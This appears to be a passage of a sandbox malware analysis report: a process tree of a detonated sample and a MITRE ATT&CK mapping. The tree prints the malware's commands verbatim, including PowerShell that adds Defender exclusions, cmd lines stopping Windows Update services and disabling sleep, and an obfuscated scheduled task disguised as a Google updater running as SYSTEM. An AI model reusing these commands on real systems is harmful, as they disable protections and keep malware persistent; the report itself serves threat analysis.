        PID:4112
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 /prefetch:8
        5⤵
        
        PID:2556
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\difficultspecific.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\difficultspecific.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:4436
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:4252
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\callcustomer.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\callcustomer.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2716
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  - Accesses Microsoft Outlook profiles
  - outlook_office_path
  - outlook_win_path
  PID:5036
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1756
- C:\Users\Admin\AppData\Local\Temp\C263.exe
  C:\Users\Admin\AppData\Local\Temp\C263.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3504
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:3084
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1968
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4420
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3808
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2704
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3796
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3964
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1488
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5508
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5524
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 456 -ip 456
1⤵
PID:648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 640 -ip 640
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2832

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4272

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:636

C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe
C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe
1⤵
- Executes dropped EXE
PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery